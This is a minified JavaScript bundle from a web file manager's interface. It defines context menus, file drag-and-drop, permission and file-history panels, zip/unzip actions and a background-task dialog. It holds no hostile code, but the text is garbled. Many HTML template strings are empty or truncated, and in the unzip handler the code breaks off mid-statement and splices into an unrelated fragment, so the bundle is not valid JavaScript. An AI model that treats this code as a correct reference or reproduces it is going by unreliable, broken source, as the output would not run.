    "}),t=$(""+n+"")}t.find("[data-node]").each(function(){var e=$(this);switch(e.attr("data-node")){case"text":var t=e.attr("title");$(""+t+"").insertBefore(e);break;case"markdown":if(!(t=(t=e.attr("data-markdown"))?base64Decode(t):e.textGet()))break;$("[markdown]"+t+"[/markdown]").insertBefore(e);break;case"param":i[e.attr("data-key")]=e.attr("data-value")}}),t.find("[data-node]").remove(),t.find("img").each(function(){var e="[@base64:"+base64Encode($(this).prop("outerHTML"))+"@]";$(""+e+"").insertBefore($(this))}),t.find("img").remove();var a=t.textGet();return a=this.domDecode(a)},"imageEncode":function(e){var t=/|\/>)/gi;return e&&-1!=e.search(t)?e.replace(t,function(e,t){return"[@base64:"+base64Encode(e)+"@]"}):e},"markdownEncode":function(e){var n=this,t=/\[markdown\]([\n\w\s\S\W]*)\[\/markdown\]/g;return e&&-1!=e.search(t)&&n.markdownParse?e.replace(t,function(e,t){var i=n.markdownParse(t);return i="
    "+i+"
    ","[@base64:"+base64Encode(i)+"@]"}):e},"markdownEncodeEditor":function(e){var n=this,t=/\[markdown\]([\n\w\s\S\W]*)\[\/markdown\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){var i=n.encodeSpace(htmlEncode(t));return i="
    "+i+"
    ","[@base64:"+base64Encode(i)+"@]"}):e},"autoLink":function(e,t){t=t||"";return e.replace(/(^|[\s\n]|<[A-Za-z]*\/?>)((?:https?|ftp):\/\/[\-A-Z0-9+\u0026\u2019@#\/%?=()~_|!:,.;]*[\-A-Z0-9+\u0026@#\/%=~()_|])/gi,function(e){return"[@base64:"+base64Encode(""+e+"")+"@]"})},"domDecode":function(e){return e.replace(/\[@base64:([\w\/\+\=]*)@\]/g,function(e,t){return base64Decode(t)})},"encodeSpace":function(e){return e=(e=(e=(e=(e=e.replace(/\r\n/g,"
    ")).replace(/\n/g,"
    ")).replace(/\r/g,"
    ")).replace(/ /g," ")).replace(/\t/g,"    ")},"encodeHtml":function(e){return e=this.imageEncode(e),e=this.encodeSpace(e),e=this.domDecode(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"license-step-002":"

    "+LNG["common.copyright.logoTitle"]+"

    ","systemNameType":{"display":LNG["common.copyright.formLogo"],"type":"segment","className":" license-auto-show ","value":G.system.options.systemNameType,"info":{"text":""+LNG["common.copyright.formLogoTypeWord"],"image":""+LNG["common.copyright.formLogoTypeImage"]},"switchItem":{"image":"systemLogo"},"desc":LNG["common.copyright.formLogoDesc"]+'. '+LNG["common.test"]+""},"systemLogo":{"type":"fileSelect","display":LNG["common.copyright.formLogoImage"],"className":" license-auto-show ","value":G.system.options.systemLogo,"info":{"single":"1","type":"file","makeUrl":"1","pathOpen":"./static/images/common/","valueKey":"downloadPath","allowExt":"png,jpg,gif,jpeg,ico,svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]},"desc":LNG["common.copyright.formLogoImageDesc"]},"systemLogoMenu":{"type":"fileSelect","display":LNG["common.copyright.formLogoMain"],"className":" license-auto-show ","value":G.system.options.systemLogoMenu,"info":{"single":"1","type":"file","makeUrl":"1","pathOpen":"./static/images/common/","valueKey":"downloadPath","allowExt":"png,jpg,gif,jpeg,ico,svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]},"desc":LNG["common.copyright.formLogoMainDesc"]},"license-step-004":"

    "+LNG["common.copyright.formPowerByInfo"]+"

    ","common.copyright.powerBy":{"type":"input","display":LNG["common.copyright.formPowerBy"],"value":LNG["common.copyright.powerBy"],"className":" license-auto-show "},"common.copyright.homepage":{"type":"input","display":LNG["common.copyright.formHomePage"],"value":LNG["common.copyright.homepage"],"className":" license-auto-show "},"common.copyright.contact":{"type":"input","display":LNG["common.copyright.formConcat"],"value":LNG["common.copyright.contact"],"className":" license-auto-show "},"common.copyright.desc":{"type":"textarea","display":LNG["common.copyright.formDesc"],"value":LNG["common.copyright.desc"],"desc":LNG["common.copyright.formDescTips"],"className":" license-auto-show "},"common.copyright.metaKeywords":{"type":"input","display":LNG["common.copyright.formMetaKeywords"],"value":LNG["common.copyright.metaKeywords"],"className":" license-auto-show hidden"},"common.copyright.metaName":{"type":"input","display":LNG["common.copyright.formMetaName"],"value":LNG["common.copyright.metaName"],"className":" license-auto-show hidden"}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindFileMenu":function(){this.pathAction=this.root.pathAction,this.listenTo(this.root.rightMenu,{"rightMenu.beforeShow":this.menuShow})},"menuShow":function(e){if(_.includes([".menu-path-file",".menu-simple-file",".menu-path-mini-file",".menu-path-guest-file",".menu-share-root-file"],e.menuType)){this.menuAppend(e);var t=this.pathAction.makeParamItem(),i=_.get(t,"sourceID")&&this.pathAction.auth.canWrite(e.$target)?"menuItemShow":"menuItemHide";$.contextMenu[i](e,"file-history"),$.contextMenu[i](e,"file-history-replace")}},"menuAppend":function(e){if(!e.extendFileHistory){var n=this,t={"file-history":{"name":LNG["explorer.history.list"],"className":"hidden ","icon":"ri-history-line","callback":function(e,t){var i=n.pathAction.makeParamItem();n.pathAction.pathInfo(i,"history")}}},i={"file-history-replace":{"name":LNG["explorer.history.uploadNew"],"className":"hidden ","icon":"ri-upload-fill-2","callback":function(e,t){var i=n.pathAction.makeParamItem();n.uploadNewVersion(i)}}};$.contextMenu.menuAdd(t,e,!1,".more-action"),$.contextMenu.menuAdd(i,e,!1,".fav-add"),e.extendFileHistory=!0}},"uploadNewVersion":function(e){var t=this.root.pathAction,i={"uploadApi":this.pathModel.urlMake("upload"),"uploadTo":t.pathFather(e),"single":!0,"postParam":{"fileRepeat":"replace","name":e.name},"config":_.extend({"accept":{"title":LNG["explorer.history.uploadNew"],"extensions":e.ext,"mimeTypes":"."+e.ext}},_.clone(G.system.settings.upload))},n=t.uploadWithParam(i);return this.listenToOnce(n,{"itemUploadSuccess":function(){t.pathChangeNotify(e.path),Events.trigger("explorer.panel.history.change",e.path)}}),n}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var o=a(i(1)),s=a(i(307)),l=i(69),n=a(i(70));function a(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend(n["default"]).extend({"init":function(){this.$el=this.$(".tab-group-pan .panel-auth"),this.pathInfo={},this.listenTo(this.parent,"tabChange.panel-auth",this.reloadView),this.bindNotify()},"bindNotify":function(){var n=this;Events.bind("explorer.panel.auth.change",function(e,t){if(t!=n){var i=n.pathInfo;_.get(i,"path")==e&&(n.pathInfo={},n.reloadView(i))}},this)},"reloadView":function(t){if(this.pathInfo.path!=t.path){this.pathInfo=t;var i=this,e={"path":t.path,"action":"getData"},n=Tips.loadingMask(this.$el,!1,.2);this.$(".panel-content").html(""),this.form&&this.form.objectRemove(),this.pathModel.setAuth(e,function(e){if(n.close(),!e.code)return Tips.tips(e,"warning");i.initFormView(t,e.data,i.$(".panel-content"))})}},"initFormView":function(e,t,i){var n=(0,s["default"])().base,a=e.targetID;n.auth.attr["data-parentGroup"]=a,n.auth.attr["data-rootParam"]="appendShareHistory","1"!=a&&(n.auth.attr["data-rootParam"]+=",appendRootGroup");var r=this.authParseResponse(t);n.authSelf.value=_.get(e,"auth.authInfo.id"),r.allAuth&&(n.allAuthType.value="set",n.allAuth.value=r.allAuth),n.auth.value=r.list,this.form=new o["default"]({"parent":this,"formData":n}),this.form.renderTarget(i),this.bindEvent(i,e),this.bindShareTargetSave(this.form,"auth"),this.initViewFinished?i.find(".config-box").hide().delay(50).fadeIn(150):(this.initViewFinished=!0,i.find(".config-box").hide().delay(50).fadeIn(250))},"authParseResponse":function(e){var n={"user":{},"group":{}},a=!1;return _.each(e,function(e){var t=e.targetType==l.SOURCE_TYPE.group?"group":"user",i=e.targetID+"";"0"!=i?n[t][i]=e.authID+"":a=e.authID+""}),{"allAuth":a,"list":n}},"bindEvent":function(e,t){var i=this,n=this.root.pathAction;e.addClass("form-box-title-block"),e.find(".source-auth-info").bind("click",function(){n.auth.authLabel.authShow()}),e.find(".form-save-button").bind("click",function(e){i.authSave(t,function(e){if(!e.code)return Tips.tips(e,"warning");Events.trigger("explorer.panel.auth.change",t.path,i),Tips.tips(e)})}),e.find("[name=auth]").bind("change",function(){i.checkHaveSelf(i.form)}),e.find(".form-reset-button").unbind("click").bind("click",function(e){$.dialog.confirm(LNG["explorer.ifPathAuthClear"],function(){i.authClear(t)})})},"checkHaveSelf":function(e){var t=G.user.userID,i=jsonDecode(e.getValue("auth"));if(i){var n=i.user||i;if(!_.isUndefined(n[t]))e.$el.find(".auth-select-box").find('[data-type="userID"]').filter('[data-id="'+t+'"]').addClass("disabled")}},"authSave":function(e,t){var i=[],n=G.user.userID,a=_.get(e,"auth.authInfo.id","1"),r=this.form.getValue();i.push({"targetType":l.SOURCE_TYPE.user,"targetID":n,"authID":a}),"set"==r.allAuthType&&i.push({"targetType":l.SOURCE_TYPE.user,"targetID":0,"authID":r.allAuth}),r.auth=jsonDecode(r.auth),r.auth?r.auth.user?(_.each(r.auth.user,function(e,t){i.push({"targetType":l.SOURCE_TYPE.user,"targetID":t,"authID":e})}),_.each(r.auth.group,function(e,t){i.push({"targetType":l.SOURCE_TYPE.group,"targetID":t,"authID":e})})):_.each(r.auth,function(e,t){i.push({"targetType":l.SOURCE_TYPE.user,"targetID":t,"authID":e})}):"set"!=r.allAuthType&&(i={});var o={"path":e.path,"auth":i};this.pathModel.setAuth(o,t)},"authClear":function(t){var i=this,e={"path":t.path,"action":"clearChildren"};this.pathModel.setAuth(e,function(e){if(!e.code)return Tips.tips(e,"warning");Events.trigger("explorer.panel.auth.change",t.path,i),Tips.tips(e)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=r(i(337)),a=r(i(338));function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.$el=this.$root.find(".frame-main-explorer,.frame-main-desktop"),this.$main=this.$(".file-continer"),this.initChildren(),this.bindDrag()},"bindDrag":function(){this.$main.drag({"delegate":".file","mustMove":!0,"cursor":"default","start":_.bind(this.dragStart,this),"move":_.bind(this.dragMove,this),"end":_.bind(this.dragEnd,this)})},"initChildren":function(){this.fileLight=this.parent.fileLight,this.drop=new n["default"]({"parent":this}),this.autoEvent=new a["default"]({"parent":this})},"getSelect":function(e){var t=this.parent.fileLight,i=this.root.pathAction.auth,n=$();t.$listSelect.each(function(){var e=$(this);i.canCopyCute(e)&&(n=n.add(e))}),this.$select=n},"dragStart":function(e){var t=this;return $.contextMenu.hidden(),!e.shiftKey&&(this.getSelect(e),0!=this.$select.length&&($(document).one("keyup",function(e){27==e.which&&t.clearDrag(e)}),this.clearDrag(e),this.dragTipsMake(e),this.fileDragMake(e),this.isDraging=!0,void this.trigger("dragStart",e)))},"dragMove":function(e){if(this.isDraging){var t=e.clientX+this.offsetMouseX,i=e.clientY+this.offsetMouseY;this.$dragTips.css({"left":t,"top":i}),this.fileDragUpdate(t,i+this.offsetBoxTop),this.trigger("dragMove",e)}},"dragEnd":function(e){if(this.trigger("dragEnd",e),this.isDraging){var t=this;this.fileDragRemove(),this.$dragTips.addClass("animated-500 flipOutXLine"),this.$dragTips.fadeOut(this.animateTime,function(){t.$dragTips.remove()})}else this.clearDrag(e)},"clearDrag":function(e){this.isDraging=!1,clearTimeout(this.timerDelayRemove),this.$drag.remove(),this.$dragTips.remove(),this.$select.removeClass("item-file-draging"),this.trigger("clearDrag")},"isDraging":!1,"animateTime":150,"offsetMouseX":15,"offsetMouseY":-5,"offsetTime":5,"offsetBoxTop":35,"$drag":$(),"$dragList":$(),"$select":$(),"$dragTips":$(),"dragTipsMake":function(){var e=this.$select.length,t='\n\t\t\t
    \n\t\t\t\t
    '+e+"
    \n\t\t\t\t"+e+" "+LNG["common.file"]+"\n\t\t\t
    ";this.$dragTips=$(t).appendTo(this.$el)},"fileDragMake":function(e){this.fileDragRender(e);var n=this.$dragList;this.$select.addClass("item-file-draging"),n.each(function(e){var t=$(n.prevObject[e]),i=t.offset();$(this).css({"left":i.left,"top":i.top,"width":t.width()}),$(this).data({"offset":i,"cloneFrom":t})})},"fileDragRender":function(e){var t="file-list-"+this.userModel.getOption("listType"),i="\n\t\t\t
    \n\t\t\t\t
    \n\t\t\t
    ";this.$drag=$(i).appendTo(this.$el);var n=this.$select.clone();(50<=this.$select.length||$.browser.msie)&&(n=$(e.target).parents(".file").clone());n.appendTo(this.$drag.find(".file-draging")),this.$dragList=n},"fileDragUpdate":function(n,a){var l=this;this.destX=n,this.destY=a,this.$dragList.each(function(e){var s=$(this),t={"left":n,"top":a};if("finished"==s.data("animate"))return s.css(t);if(!s.data("animateStart")){s.data("animateStart","1");var i=l.animateTime+e*l.offsetTime;s.animate({"opacity":1},{"duration":i,"easing":"swing","progress":function(e,t,i,n,a){var r=s.data("offset"),o={"left":(l.destX-r.left)*t+r.left,"top":(l.destY-r.top)*t+r.top};s.css(o)},"complete":function(){s.data("animate","finished")}})}})},"destX":0,"destY":0,"fileDragRemove":function(){var r=this,o=1.5*r.animateTime;this.$dragList.each(function(e){var t=$(this),i=o+e*r.offsetTime,n=t.data("offset"),a=t.data("cloneFrom");a&&a.exists()?t.stop().animate(n,i,function(){a.removeClass("item-file-draging"),t.remove()}):t.stop().animate({"opacity":0},i,function(){t.remove()})}),this.timerDelayRemove=this._delay(function(){r.$drag.remove(),r.$select.removeClass("item-file-draging"),r.$dragList=$()},10+o+this.$dragList.length*r.offsetTime)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){var e='';return{"new-folder":{"name":LNG["explorer.newFolder"]+"Alt+M","icon":"ri-folder-fill-3","accesskey":"n"},"new-file":{"name":LNG["explorer.newFile"],"accesskey":"j"},"open":{"name":LNG["common.open"]+"Enter","icon":"ri-external-link-line","accesskey":"o"},"open-father":{"name":LNG["explorer.openFather"],"icon":"ri-folder-fill-3","accesskey":"f"},"refresh":{"name":LNG["common.refresh"]+"F5","icon":"ri-refresh-line","accesskey":"e"},"path-info":{"name":LNG["explorer.info"]+"Alt+I","icon":"ri-information-line","accesskey":"i"},"path-auth":{"name":LNG["admin.setting.auth"]+"Alt+Shift+I","icon":"ri-lock-line-2","accesskey":"q"},"copy":{"name":LNG["explorer.copy"]+"Ctrl+C","icon":"ri-file-copy-line-2","accesskey":"c"},"cute":{"name":LNG["explorer.cute"]+"Ctrl+X","icon":"ri-scissors-fill","accesskey":"k"},"past":{"name":LNG["explorer.past"]+"Ctrl+V","icon":"ri-survey-line","className":"explorer-past-item past","accesskey":"p"},"copy-to":{"name":LNG["explorer.copyTo"],"icon":"ri-file-copy-line-2"},"cute-to":{"name":LNG["explorer.cuteTo"],"icon":"ri-scissors-fill"},"clipboard":{"name":LNG["explorer.clipboard"],"icon":"ri-inbox-line","accesskey":"v"},"download":{"name":LNG["common.download"],"icon":"ri-download-fill-2","accesskey":"x"},"rename":{"name":LNG["common.rename"]+"F2","icon":"ri-pencil-fill","accesskey":"r"},"remove":{"name":LNG["common.delete"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"clone":{"name":LNG["explorer.clone"],"icon":"ri-file-copy-line-2"},"search":{"name":LNG["explorer.searchInPath"],"icon":"ri-search-line","accesskey":"s"},"upload":{"name":LNG["common.upload"],"icon":"ri-upload-fill-2","accesskey":"u"},"upload-file":{"name":LNG["explorer.uploadFile"]+"Ctrl+U","icon":"ri-upload-fill-2"},"upload-folder":{"name":LNG["explorer.uploadFolder"],"icon":"ri-upload-fill-2","className":"upload upload-folder"},"server-download":{"name":LNG["explorer.downOffline"],"className":"download"},"recycle-clear":{"name":LNG["explorer.recycleClear"],"icon":"ri-delete-bin-line-6","accesskey":"c"},"recycle-restore":{"name":LNG["explorer.recycleRestoreItem"],"icon":"ri-arrow-go-back-line","accesskey":"r"},"recycle-delete":{"name":LNG["common.deleteForce"]+"Shift+Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"recycle-restore-all":{"name":LNG["explorer.recycleRestoreAll"],"icon":"ri-arrow-go-back-line","accesskey":"r"},"share-to-file":{"name":LNG["explorer.share.innerTo"],"icon":"ri-share-fill","accesskey":"e"},"share-to-edit":{"name":LNG["common.edit"]+e+LNG["explorer.share.shareTo"],"icon":"ri-share-fill","accesskey":"e"},"share-to-remove":{"name":LNG["common.cancel"]+e+LNG["explorer.share.shareTo"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"share-link-file":{"name":LNG["explorer.share.linkTo"],"icon":" x-share-link","accesskey":"l"},"share-link-edit":{"name":LNG["common.edit"]+e+LNG["explorer.share.linkTo"],"icon":"x-share-link","accesskey":"e"},"share-link-remove":{"name":LNG["common.cancel"]+e+LNG["explorer.share.linkTo"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"share-open-window":{"name":LNG["explorer.share.openPage"],"icon":"ri-external-link-line","accesskey":"b"},"fav-add":{"name":LNG["explorer.addToFav"],"icon":"ri-star-fill","accesskey":"f"},"fav-remove":{"name":LNG["explorer.favRemove"],"icon":"ri-star-line","accesskey":"d"},"fav-rename":{"name":LNG["common.rename"],"icon":"ri-pencil-fill","accesskey":"r"},"fav-move-top":{"name":LNG["common.moveTop"],"icon":"ri-arrow-up-line","accesskey":"u"},"fav-move-bottom":{"name":LNG["common.moveBottom"],"icon":"ri-arrow-down-line","accesskey":"d"},"tag-edit":{"name":LNG["explorer.tag.edit"],"icon":"ri-bookmark-line-3","accesskey":"e"},"tag-remove":{"name":LNG["common.delete"],"icon":"ri-delete-bin-line-6","accesskey":"d"},"tag-move-top":{"name":LNG["common.moveTop"],"icon":"ri-arrow-up-line","accesskey":"u"},"tag-move-bottom":{"name":LNG["common.moveBottom"],"icon":"ri-arrow-down-line","accesskey":"d"},"app-install":{"name":LNG["explorer.app.app"],"icon":"ri-apps-fill","accesskey":"a"},"setting-wall":{"name":LNG["admin.setting.wall"],"icon":"ri-image-line","accesskey":"b"},"setting-theme":{"name":LNG["admin.setting.theme"],"icon":"ri-dashboard-line-2","accesskey":"i"},"setting-user":{"name":LNG["admin.userManage"],"icon":"ri-settings-fill-5","accesskey":"t"},"file-embed":{"name":LNG["explorer.embed.title"],"icon":"ri-code-box-line","accesskey":"a"},"set-background":{"name":LNG["explorer.setBackground"],"icon":"ri-image-line","accesskey":"x"},"explorer":{"name":LNG["explorer.folderManage"],"icon":"ri-folder-fill-3","accesskey":"v"},"explorer-editor":{"name":LNG["explorer.openWithAce"],"icon":"ri-edit-box-line","accesskey":"e"},"create-link-home":{"name":LNG["explorer.createLinkHome"],"icon":"x-item-icon x-app-link","accesskey":"l"},"create-link":{"name":LNG["explorer.createLink"],"icon":"x-item-icon x-app-link"},"select-all":{"name":LNG["common.selectAllItem"]+"Ctrl+A"},"select-reverse":{"name":LNG["common.selectInvert"]+"Shift+Ctrl+A"},"select-clear":{"name":LNG["common.selectNull"]+"Shift+Ctrl+A"},"share-to-me-all":{"name":LNG["common.all"],"icon":"ri-checkbox-multiple-fill"},"share-to-me-show":{"name":LNG["common.default"],"icon":"ri-eye-line"},"share-to-me-hide":{"name":LNG["common.isHide"],"icon":"ri-eye-off-line"},"share-hide":{"name":LNG["common.hide"],"icon":"ri-eye-off-line"},"share-show":{"name":LNG["common.cancelHide"],"icon":"ri-eye-fill"},"refresh-tree":{"name":LNG["explorer.refreshTree"],"icon":"ri-refresh-line","accesskey":"e"},"open-with":{"name":LNG["explorer.openWith"],"icon":" ri-external-link-line","accesskey":"a","items":{"open-with-first":{"name":"","className":"hidden"}}},"new-file-others":{"name":LNG["explorer.newFile"],"icon":" ri-file-line","accesskey":"w","items":{"new-file":{"name":"txt "+LNG["common.file"],"icon":"x-item-icon x-txt small"},"new-file-md":{"name":"md "+LNG["common.file"],"icon":"x-item-icon x-md"},"new-file-html":{"name":"html "+LNG["common.file"],"icon":"x-item-icon x-html"},"step1011":"--------","new-file-docx":{"name":"Word docx "+LNG["common.file"],"icon":"x-item-icon x-docx"},"new-file-xlsx":{"name":"Excel xlsx "+LNG["common.file"],"icon":"x-item-icon x-xlsx"},"new-file-pptx":{"name":"PowerPoint pptx "+LNG["common.file"],"icon":"x-item-icon x-pptx"},"step1012":"--------","app-install":{"name":LNG["explorer.app.app"],"icon":"x-item-icon x-app-store","accesskey":"a"}}},"set-list-type":{"name":LNG["explorer.file.listType"],"icon":" ri-inbox-line","items":{"set-list-icon":{"name":LNG["explorer.file.listIcon"],"className":"set-list-type-item"},"set-list-list":{"name":LNG["explorer.file.listList"],"className":"set-list-type-item"},"set-list-split":{"name":LNG["explorer.file.listListSplit"],"className":"set-list-type-item"}}},"set-sort-by":{"name":LNG["explorer.file.orderType"],"accesskey":"y","icon":"ri-sort-desc","items":{"set-sort-name":{"name":LNG["explorer.file.name"],"className":"set-sort-field-item"},"set-sort-ext":{"name":LNG["explorer.file.type"],"className":"set-sort-field-item"},"set-sort-size":{"name":LNG["explorer.file.size"],"className":"set-sort-field-item"},"set-sort-modifyTime":{"name":LNG["explorer.file.modifyTime"],"className":"set-sort-field-item"},"step1021":"--------","set-order-up":{"name":LNG["explorer.file.sortUp"],"className":"set-sort-order-item"},"set-order-down":{"name":LNG["explorer.file.sortDown"],"className":"set-sort-order-item"}}},"set-icon-size":{"name":LNG["explorer.toolbar.fileSizeTitle"],"icon":" ri-image-line","items":{"icon-size-smallx":{"name":LNG["explorer.toolbar.fileSizeSuper"],"className":"set-icon-size-item"},"icon-size-small":{"name":LNG["explorer.toolbar.fileSizeSmall"],"className":"set-icon-size-item"},"icon-size-default":{"name":LNG["explorer.toolbar.fileSizeDefault"],"className":"set-icon-size-item"},"icon-size-big":{"name":LNG["explorer.toolbar.fileSizeBig"],"className":"set-icon-size-item"},"icon-size-bigx":{"name":LNG["explorer.toolbar.fileSizeBigSuper"],"className":"set-icon-size-item"}}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var o=function n(e){return e&&e.__esModule?e:{"default":e}}(i(356));t["default"]=ClassBase.extend({"extSupport":"zip,tar,gz,tgz,ipa,apk,rar,7z,iso,bz2,zx,z,arj,epub","init":function(e){this.pathAction=this.root.pathAction,this.initZipView(),this.listenTo(this.root.rightMenu,{"rightMenu.beforeShow":this.menuShow}),this._delay(this.resetDownload,100)},"initZipView":function(){var n=this;this.supportZip()&&kodApp.add({"name":"zipView","title":LNG["admin.plugin.defaultZipView"],"sort":-1,"ext":this.extSupport,"icon":STATIC_PATH+"images/file_icon/icon_file/zip.png","callback":function(e,t,i){(n.pathModel?n:kodApp.pathAction.root.plugins.zipView).initView(e,i)}})},"supportZip":function(){return"share"!=this.root.pageType||"1"==_.get(G,"system.options.shareLinkZip")},"menuShow":function(n){if(_.includes([".menu-path-folder",".menu-path-file",".menu-path-more",".menu-path-folder-tree",".menu-simple-folder",".menu-simple-file",".menu-simple-more",".menu-path-mini-folder",".menu-path-mini-file",".menu-path-guest-folder",".menu-path-guest-file",".menu-path-guest-more",".menu-toolbar-io-more",".menu-toolbar-source-more",".menu-toolbar-pathDefault-more",".menu-toolbar-shareItem-more"],n.menuType)){var e=this.menuAppend(n),t=this.extSupport.split(","),i=e&&_.includes(t,e.ext)?"menuItemShow":"menuItemHide";$.contextMenu[i](n,"unzip");var a=this.pathAction.auth.canWrite(n.$target);this._each(["zip","unzip"],function(e,t){var i=this.pathAction.auth.authCheck(e,n.$target);a&&i||$.contextMenu.menuItemDisable(n,e)})}},"menuAppend":function(e){var t=this.actionGetInfo(e.$target,"makeParamItem");if(e.extendZipView)return t;var i=_.bind(this.doAction,this),n={"unzip":{"name":LNG["explorer.unzip"],"icon":"ri-folder-open-line","items":{"unzip-this":{"name":LNG["explorer.unzipThis"],"icon":"ri-external-link-line","callback":i},"unzip-folder":{"name":LNG["explorer.unzipFolder"],"icon":"ri-external-link-line","callback":i},"unzip-to":{"name":LNG["explorer.unzipTo"],"icon":"ri-external-link-line","callback":i}}}},a={"zip":{"name":LNG["explorer.zip"],"icon":"ri-external-link-line","items":{"zip-zip":{"name":"ZIP "+LNG["common.file"],"icon":"ri-external-link-line","callback":i},"sep1010":"--------","zip-tar":{"name":"TAR "+LNG["common.file"],"icon":"ri-external-link-line","callback":i},"zip-tgz":{"name":"GZIP "+LNG["common.file"],"icon":"ri-external-link-line","callback":i}}}};return $.contextMenu.menuAdd(n,e,"",".more-action"),t&&"folder"!=t.type?$.contextMenu.menuAdd(a,e,".more-action .context-menu-separator"):_.includes([".menu-path-folder",".menu-path-file",".menu-path-more",".menu-simple-folder",".menu-simple-file",".menu-simple-more",".menu-path-mini-folder",".menu-path-mini-file",".menu-path-guest-folder",".menu-path-guest-file",".menu-path-guest-more",".menu-toolbar-io-more",".menu-toolbar-source-more",".menu-toolbar-pathDefault-more",".menu-toolbar-shareItem-more"],e.menuType)&&$.contextMenu.menuAdd(a,e,"",".path-info"),e.extendZipView=!0,t},"initView":function(n,a){var r=this;this.pathModel.unzipList({"path":n},function(e){if(e&&e.code&&!_.isString(e.data)){var t="zipViewDialog"+roundString(4),i=new o["default"]({"parent":r});i.initDialog(n,a,e.data),r[t]=i}})},"actionGetInfo":function(e,t){var i=this.pathAction;return $.isDom(e)&&e.hasClass("tree-node")&&(i=this.root.tree.treeAction),i[t]()},"doAction":function(e,t){switch(e){case"unzip-this":this.unzipFile("this");break;case"unzip-folder":this.unzipFile("folder");break;case"unzip-to":this.unzipFile("to");break;case"zip-zip":this.zip("zip",t);break;case"zip-tar":this.zip("tar",t);break;case"zip-tgz":this.zip("tgz",t)}},"unzipFile":function(e){var t=this.pathAction.makeParamItem();this.unzip(e,t.path,t.name)},"zip":function(e,t){var i=this.actionGetInfo(t.$target,"makeParamArray");if(i){if(!this.pathAction.auth.canWrite())return Tips.notify.tips(LNG["explorer.noPermissionWrite"],"warning",3e3),!1;if(!this.root.spaceSize.spaceCheck())return Tips.notify.tips(LNG["explorer.spaceIsFull"],"warning",3e3),!1;this.pathAction.flagCurrentPath();var n=this;i=$.extend({},{"type":e},i),this.pathModel.zip(i,function(e){n.pathAction.refreshCallback(e)})}},"unzip":function(e,t,i){var n=3',"icon":" ri-file-line-3","content":LNG["explorer.loading"]}),a=c.requestSend(c.apiConfig[o],e,function(e){clearTimeout(r),n.close(e),e&&(e.code&&!_.isString(e.data)||(e.data=""),t&&t(e))},i,o);n.$main&&n.$main.find(".clear").hide();var r=s._delay(function(){a.abort(),s.listTips[e.longTaskID]={"timer":!1,"tips":n},s.notifyView(n,e.longTaskID,t),s.bindDialogEvent(n.$main)},1e3);return a}})},"notifyView":function(o,s,l){this.model.get({"id":s},_.bind(function(e){if(!e||!e.code||_.isEmpty(e.data))return this.listTips[s]=!1,o.close({"code":!1,"data":""}),void(l&&l({"code":!1,"data":""}));if("task_finished"==e.info)return this.listTips[s]=!1,o.close(e.data),e.data.code&&!_.isString(e.data.data)||(e.data.data=""),void(l&&l(e.data));this.listTips[s]&&(this.listTips[s].timer=this._delay(function(){this.notifyView(o,s,l)},this.refreshDelay));var t=this.itemParse(e.data),i=o.$main.find(".list-item");if(0==i.length){var n=c(73),a=this.renderHtml(n,{"item":t},!1),r=o.$main.find(".kui-notify-content-message");a='
    '+a+"
    ",r.removeClass("hidden"),r.html(a)}else this.itemUpdate(t,i)},this))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=a(i(282)),r=a(i(17));function a(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.model=new n["default"]({"parent":this}),this.reloadView=_.bind(this.reloadView,this),this.refreshDelay=800,this.bindEvent()},"bindEvent":function(){var e=this.$el;e.undelegate(".task-view-dialog","click"),e.delegate(".task-view-dialog","click",_.bind(this.initViewDialog,this)),this.bind("onRemove",function(){e.undelegate(".task-view-dialog","click")})},"initViewDialog":function(){if(!this.view){var e=this,t=i(283);this.view=$.dialog({"className":"task-list-view-dialog dialog-bg-blur","ico":' ',"title":LNG["common.task.name"],"width":450,"height":600,"padding":0,"content":this.renderHtml(t,!1,!1),"resize":!0,"fixed":!0,"close":function(){e.view=!1,e.dataBefore=!1,clearTimeout(e.refreshTimer),this.refreshTimer=!1}}),this.bindDialogEvent(this.view.$main),this.refreshTimer=this._delay(this.reloadView,this.refreshDelay),this.bind("onRemove",function(){clearTimeout(this.refreshTimer),this.refreshTimer=!1}),this.initViewDialogAfter()}},"initViewDialogAfter":function(){},"reloadView":function(){if(this.view){var o=i(73),s=this.view.$main;clearTimeout(this.refreshTimer),this.model.list(!1,_.bind(function(e){if(this.view){this.refreshTimer=this._delay(this.reloadView,this.refreshDelay);var a=this.dataBefore||{},i={};e&&e.code?_.each(e.data,function(e){i[e.id]=e}):i=this.dataBefore,this._each(a,function(e,t){i[t]||(s.find('[data-id="'+e.id+'"]').remove(),a[t]=null)});var r=!1;this._each(i,function(e,t){e=this.itemParse(e);var i=s.find('[data-id="'+e.id+'"]');if(a[t])this.itemUpdate(e,i);else{var n=this.renderHtml(o,{"item":e},!1);r?$(n).insertAfter(s.find('[data-id="'+r.id+'"]')):$(n).appendTo(s.find(".list-content"))}r=e}),_.isEmpty(i)?(s.find(".list-empty").removeClass("hidden"),s.find(".task-kill-all").addClass("hidden"),s.find(".list-item").remove()):(s.find(".list-empty").addClass("hidden"),s.find(".task-kill-all").removeClass("hidden")),this.dataBefore=i}},this))}},"itemUpdate":function(e,t){t.attr("data-status")!=e.status&&(t.removeClass("status-"+t.attr("data-status")),t.attr("data-status",e.status).addClass("status-"+e.status)),t.find(".current").html(e.viewCurrent),t.find(".time .time-use em").html(e.viewUseTime),t.find(".time .time-need 